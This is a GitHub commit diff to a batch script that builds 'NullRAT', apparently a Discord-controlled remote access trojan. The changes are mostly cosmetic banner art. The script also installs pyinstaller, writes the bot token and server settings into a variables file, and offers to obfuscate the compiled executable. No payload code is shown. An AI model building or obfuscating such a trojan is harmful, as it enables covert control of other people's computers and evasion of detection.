Skip to content
This repository was archived by the owner on Mar 6, 2026. It is now read-only.

Commit 9e64a33

Browse files
committed
Finish legacy compiler for shit computers
1 parent c75baa7 commit 9e64a33

1 file changed

Lines changed: 59 additions & 54 deletions

File tree

AIO_Legacy.bat

Lines changed: 59 additions & 54 deletions
Original file line numberDiff line numberDiff line change
@@ -5,9 +5,7 @@ mode con: cols=80 lines=29
55

66
:main
77
cls & echo Press any key to start, C to clean working dir, E to exit:
8-
9-
echo _
10-
echo. & echo. & echo. & echo. & echo.
8+
echo. & echo. & echo. & echo. & echo. &echo.&echo.
119
echo _ _ _ _ ____ _ _____ _ ___ ___
1210
echo ^| ^\ ^| ^|_ _^| ^| ^| _ ^\ ^/ ^\^|_ _^| ^/ ^\ ^|_ _^/ _ ^\
1311
echo ^| ^\^| ^| ^| ^| ^| ^| ^| ^|_^) ^| ^/ _ ^\ ^| ^| ^/ _ ^\ ^| ^| ^| ^| ^|
@@ -23,27 +21,33 @@ if %errorlevel%==2 (goto cleanup) else (goto depend)
2321

2422
:depend
2523
@title NullRAT AIO (Dependencies Installer)
26-
cls & echo.
27-
echo ██╗██╗ ██████╗ ███████╗██████╗ ██╗███╗ ██╗███████╗████████╗
28-
echo ███║╚██╗ ██╔══██╗██╔════╝██╔══██╗██║████╗ ██║██╔════╝╚══██╔══╝
29-
echo ╚██║ ██║ ██║ ██║█████╗ ██████╔╝██║██╔██╗ ██║███████╗ ██║
30-
echo ██║ ██║ ██║ ██║██╔══╝ ██╔═══╝ ██║██║╚██╗██║╚════██║ ██║
31-
echo ██║██╔╝ ██████╔╝███████╗██║ ██║██║ ╚████║███████║ ██║
32-
echo ╚═╝╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═══╝╚══════╝ ╚═╝
24+
cls & echo. & mode con: cols=94 lines=29
25+
26+
echo ___ ____ _____ ____ _____ _ _ ____ _____ _ _ ____ ___ _____ ____
27+
echo / ^\ ^\ ^| _ ^\^| ____^| _ ^\^| ____^| ^\ ^| ^| _ ^\^| ____^| ^\ ^| ^|/ ___^|_ _^| ____/ ___^|
28+
echo ^| ^|^| ^| ^| ^| ^| ^| _^| ^| ^|_) ^| _^| ^| ^\^| ^| ^| ^| ^| _^| ^| ^\^| ^| ^| ^| ^|^| _^| ^\___ ^\
29+
echo ^| ^|^| ^| ^| ^|_^| ^| ^|___^| __/^| ^|___^| ^|^\ ^| ^|_^| ^| ^|___^| ^|^\ ^| ^|___ ^| ^|^| ^|___ ___) ^|
30+
echo ^|_^|^| ^| ^|____/^|_____^|_^| ^|_____^|_^| ^\_^|____/^|_____^|_^| ^\_^|^\____^|___^|_____^|____/
31+
echo /_/
32+
echo.
3333
echo ^>^> Would you like to install^/update NullRAT's Dependencies^? [Y^/N]
3434
choice /c YN /n
3535
if %errorlevel%==2 (
36-
echo Skipping
36+
echo.
37+
echo Skipping...
38+
timeout /t 3
3739
goto vars
3840
) else (
3941
cls & echo.
40-
echo ██╗██╗ ██████╗ ███████╗██████╗ ██╗███╗ ██╗███████╗████████╗
41-
echo ███║╚██╗ ██╔══██╗██╔════╝██╔══██╗██║████╗ ██║██╔════╝╚══██╔══╝
42-
echo ╚██║ ██║ ██║ ██║█████╗ ██████╔╝██║██╔██╗ ██║███████╗ ██║
43-
echo ██║ ██║ ██║ ██║██╔══╝ ██╔═══╝ ██║██║╚██╗██║╚════██║ ██║
44-
echo ██║██╔╝ ██████╔╝███████╗██║ ██║██║ ╚████║███████║ ██║
45-
echo ╚═╝╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═══╝╚══════╝ ╚═╝
46-
echo ^>^> Would you like to install^/update NullRAT's Dependencies^? [Y^/N] & echo.
42+
echo ___ ____ _____ ____ _____ _ _ ____ _____ _ _ ____ ___ _____ ____
43+
echo / ^\ ^\ ^| _ ^\^| ____^| _ ^\^| ____^| ^\ ^| ^| _ ^\^| ____^| ^\ ^| ^|/ ___^|_ _^| ____/ ___^|
44+
echo ^| ^|^| ^| ^| ^| ^| ^| _^| ^| ^|_^) ^| _^| ^| ^\^| ^| ^| ^| ^| _^| ^| ^\^| ^| ^| ^| ^|^| _^| ^\___ ^\
45+
echo ^| ^|^| ^| ^| ^|_^| ^| ^|___^| __/^| ^|___^| ^|^\ ^| ^|_^| ^| ^|___^| ^|^\ ^| ^|___ ^| ^|^| ^|___ ___^) ^|
46+
echo ^|_^|^| ^| ^|____/^|_____^|_^| ^|_____^|_^| ^\_^|____/^|_____^|_^| ^\_^|^\____^|___^|_____^|____/
47+
echo ^/_^/
48+
echo.
49+
echo ^>^> Would you like to install^/update NullRAT's Dependencies^? [Y^/N]
50+
4751
echo 1^> Installing fixed version of pyinstaller...
4852
start "" "python" -m pip install pyinstaller==4.10
4953
timeout /t 3 /nobreak >nul
@@ -62,14 +66,15 @@ if %errorlevel%==2 (
6266
:vars
6367
mode con: cols=90 lines=30
6468
@title NullRAT AIO (Variables Setter)
65-
cd "%~dp0NullRAT"
69+
cd "%~dp0NullRAT" & mode con: cols=75 lines=29
6670
cls & echo.
67-
echo ██████╗ ██╗ ██╗ ██╗ █████╗ ██████╗ ██╗ █████╗ ██████╗ ██╗ ███████╗███████╗
68-
echo ╚════██╗╚██╗ ██║ ██║██╔══██╗██╔══██╗██║██╔══██╗██╔══██╗██║ ██╔════╝██╔════╝
69-
echo █████╔╝ ██║ ██║ ██║███████║██████╔╝██║███████║██████╔╝██║ █████╗ ███████╗
70-
echo ██╔═══╝ ██║ ╚██╗ ██╔╝██╔══██║██╔══██╗██║██╔══██║██╔══██╗██║ ██╔══╝ ╚════██║
71-
echo ███████╗██╔╝ ╚████╔╝ ██║ ██║██║ ██║██║██║ ██║██████╔╝███████╗███████╗███████║
72-
echo ╚══════╝╚═╝ ╚═══╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═════╝ ╚══════╝╚══════╝╚══════╝
71+
echo ______ __ ___ ____ ___ _ ____ _ _____ ____
72+
echo ^|___ ^\ ^\ ^\ ^\ / / ^\ ^| _ ^\^|_ _^| / ^\ ^| __ ^)^| ^| ^| ____/ ___^|
73+
echo __^) ^| ^| ^\ ^\ / / _ ^\ ^| ^|_^) ^|^| ^| / _ ^\ ^| _ ^\^| ^| ^| _^| ^\___ ^\
74+
echo / __/^| ^| ^\ V / ___ ^\^| _ ^< ^| ^| / ___ ^\^| ^|_^) ^| ^|___^| ^|___ ___^) ^|
75+
echo ^|_____^| ^| ^\_/_/ ^\_^\_^| ^\_^\___/_/ ^\_^\____/^|_____^|_____^|____/
76+
echo /_/
77+
7378
IF EXIST "Variables.py" (goto fileE) else (goto a)
7479

7580
:fileE
@@ -78,12 +83,12 @@ echo A pre-existing variables file was detected.
7883
choice /c YN /n /m "Do you want to check its contents? [Y/N]"
7984
if %errorlevel%==2 (
8085
cls & echo.
81-
echo [38;2;0;220;255m██████╗ ██╗ ██╗ ██╗ █████╗ ██████╗ ██╗ █████╗ ██████╗ ██╗ ███████╗███████╗[38;2;255;255;255m
82-
echo [38;2;0;200;255m╚════██╗╚██╗ ██║ ██║██╔══██╗██╔══██╗██║██╔══██╗██╔══██╗██║ ██╔════╝██╔════╝[38;2;255;255;255m
83-
echo [38;2;0;180;255m█████╔╝ ██║ ██║ ██║███████║██████╔╝██║███████║██████╔╝██║ █████╗ ███████╗[38;2;255;255;255m
84-
echo [38;2;0;160;255m██╔═══╝ ██║ ╚██╗ ██╔╝██╔══██║██╔══██╗██║██╔══██║██╔══██╗██║ ██╔══╝ ╚════██║[38;2;255;255;255m
85-
echo [38;2;0;140;255m███████╗██╔╝ ╚████╔╝ ██║ ██║██║ ██║██║██║ ██║██████╔╝███████╗███████╗███████║[38;2;255;255;255m
86-
echo [38;2;0;120;255m╚══════╝╚═╝ ╚═══╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═════╝ ╚══════╝╚══════╝╚══════╝[38;2;255;255;255m
86+
echo ______ __ ___ ____ ___ _ ____ _ _____ ____
87+
echo ^|___ ^\ ^\ ^\ ^\ / / ^\ ^| _ ^\^|_ _^| / ^\ ^| __ ^)^| ^| ^| ____/ ___^|
88+
echo __^) ^| ^| ^\ ^\ / / _ ^\ ^| ^|_^) ^|^| ^| / _ ^\ ^| _ ^\^| ^| ^| _^| ^\___ ^\
89+
echo / __/^| ^| ^\ V / ___ ^\^| _ ^< ^| ^| / ___ ^\^| ^|_^) ^| ^|___^| ^|___ ___^) ^|
90+
echo ^|_____^| ^| ^\_/_/ ^\_^\_^| ^\_^\___/_/ ^\_^\____/^|_____^|_____^|____/
91+
echo /_/
8792
echo.
8893
goto a
8994
)
@@ -116,17 +121,16 @@ echo. & type Variables.py & echo.
116121
choice /c YN /n /m "Are all these information correct? [Y/N]"
117122
if %errorlevel%==2 (
118123
cls & echo.
119-
echo ██████╗ ██╗ ██╗ ██╗ █████╗ ██████╗ ██╗ █████╗ ██████╗ ██╗ ███████╗███████╗
120-
echo ╚════██╗╚██╗ ██║ ██║██╔══██╗██╔══██╗██║██╔══██╗██╔══██╗██║ ██╔════╝██╔════╝
121-
echo █████╔╝ ██║ ██║ ██║███████║██████╔╝██║███████║██████╔╝██║ █████╗ ███████╗
122-
echo ██╔═══╝ ██║ ╚██╗ ██╔╝██╔══██║██╔══██╗██║██╔══██║██╔══██╗██║ ██╔══╝ ╚════██║
123-
echo ███████╗██╔╝ ╚████╔╝ ██║ ██║██║ ██║██║██║ ██║██████╔╝███████╗███████╗███████║
124-
echo ╚══════╝╚═╝ ╚═══╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═════╝ ╚══════╝╚══════╝╚══════╝
125-
echo.
124+
echo ______ __ ___ ____ ___ _ ____ _ _____ ____
125+
echo ^|___ ^\ ^\ ^\ ^\ / / ^\ ^| _ ^\^|_ _^| / ^\ ^| __ ^)^| ^| ^| ____/ ___^|
126+
echo __^) ^| ^| ^\ ^\ / / _ ^\ ^| ^|_^) ^|^| ^| / _ ^\ ^| _ ^\^| ^| ^| _^| ^\___ ^\
127+
echo / __/^| ^| ^\ V / ___ ^\^| _ ^< ^| ^| / ___ ^\^| ^|_^) ^| ^|___^| ^|___ ___^) ^|
128+
echo ^|_____^| ^| ^\_/_/ ^\_^\_^| ^\_^\___/_/ ^\_^\____/^|_____^|_____^|____/
129+
echo /_/
126130
goto a
127131
)
128132
if %errorlevel%==1 (
129-
echo. & echo [38;2;0;120;255mThe following information is correct.[38;2;255;255;255m
133+
echo. & echo The following information is correct.
130134
timeout /t 2 & goto compiler
131135
)
132136

@@ -148,22 +152,23 @@ echo bot_token = ^"%token%^" >> Variables.py
148152
echo notification_channel = %notification% >> Variables.py
149153
echo server_ids = ^[%server%^] >> Variables.py
150154

151-
echo. &echo Variables file successfully created!
155+
echo. & echo Variables file successfully created!
152156
timeout /t 3
153157
goto compiler
154158

155159
:compiler
156160
@title NullRAT AIO (Compiler)
157161
cls & echo.
158-
echo ██████╗ ██╗ ██████╗ ██████╗ ███╗ ███╗██████╗ ██╗██╗ ███████╗██████╗
159-
echo ╚════██╗╚██╗ ██╔════╝██╔═══██╗████╗ ████║██╔══██╗██║██║ ██╔════╝██╔══██╗
160-
echo █████╔╝ ██║ ██║ ██║ ██║██╔████╔██║██████╔╝██║██║ █████╗ ██████╔╝
161-
echo ╚═══██╗ ██║ ██║ ██║ ██║██║╚██╔╝██║██╔═══╝ ██║██║ ██╔══╝ ██╔══██╗
162-
echo ██████╔╝██╔╝ ╚██████╗╚██████╔╝██║ ╚═╝ ██║██║ ██║███████╗███████╗██║ ██║
163-
echo ╚═════╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚══════╝╚═╝ ╚═╝
162+
echo _______ ____ ___ __ __ ____ ___ _ _____ ____
163+
echo ^|___ /^\ ^\ / ___/ _ ^\^| ^\/ ^| _ ^\_ _^| ^| ^| ____^| _ ^\
164+
echo ^|_ ^\ ^| ^| ^| ^| ^| ^| ^| ^| ^|^\/^| ^| ^|_^) ^| ^|^| ^| ^| _^| ^| ^|_^) ^|
165+
echo ___^) ^|^| ^| ^| ^|__^| ^|_^| ^| ^| ^| ^| __/^| ^|^| ^|___^| ^|___^| _ ^<
166+
echo ^|____/ ^| ^| ^\____^\___/^|_^| ^|_^|_^| ^|___^|_____^|_____^|_^| ^\_^\
167+
echo /_/
168+
164169
echo.
165-
echo [0;36m^>^> Options:
166-
echo -----------[0m
170+
echo ^>^> Options:
171+
echo -----------
167172
echo.
168173

169174
choice /c YN /n /m "Do you want to obfuscate the executable? [Y/N]: "
@@ -191,12 +196,12 @@ if %errorlevel%==2 (goto compiler) else (goto compile)
191196

192197
:compile
193198
cls & echo.
194-
echo [38;2;0;220;255m██████╗ ██╗ ██████╗ ██████╗ ███╗ ███╗██████╗ ██╗██╗ ███████╗██████╗[38;2;255;255;255m
195-
echo [38;2;0;200;255m╚════██╗╚██╗ ██╔════╝██╔═══██╗████╗ ████║██╔══██╗██║██║ ██╔════╝██╔══██╗[38;2;255;255;255m
196-
echo [38;2;0;180;255m█████╔╝ ██║ ██║ ██║ ██║██╔████╔██║██████╔╝██║██║ █████╗ ██████╔╝[38;2;255;255;255m
197-
echo [38;2;0;160;255m╚═══██╗ ██║ ██║ ██║ ██║██║╚██╔╝██║██╔═══╝ ██║██║ ██╔══╝ ██╔══██╗[38;2;255;255;255m
198-
echo [38;2;0;140;255m██████╔╝██╔╝ ╚██████╗╚██████╔╝██║ ╚═╝ ██║██║ ██║███████╗███████╗██║ ██║[38;2;255;255;255m
199-
echo [38;2;0;120;255m╚═════╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚══════╝╚═╝ ╚═╝[38;2;255;255;255m
199+
echo _______ ____ ___ __ __ ____ ___ _ _____ ____
200+
echo ^|___ /^\ ^\ / ___/ _ ^\^| ^\/ ^| _ ^\_ _^| ^| ^| ____^| _ ^\
201+
echo ^|_ ^\ ^| ^| ^| ^| ^| ^| ^| ^| ^|^\/^| ^| ^|_^) ^| ^|^| ^| ^| _^| ^| ^|_^) ^|
202+
echo ___^) ^|^| ^| ^| ^|__^| ^|_^| ^| ^| ^| ^| __/^| ^|^| ^|___^| ^|___^| _ ^<
203+
echo ^|____/ ^| ^| ^\____^\___/^|_^| ^|_^|_^| ^|___^|_____^|_____^|_^| ^\_^\
204+
echo /_/
200205
echo.
201206

202207
if "!icon!"=="yes" (

0 commit comments

Comments
 (0)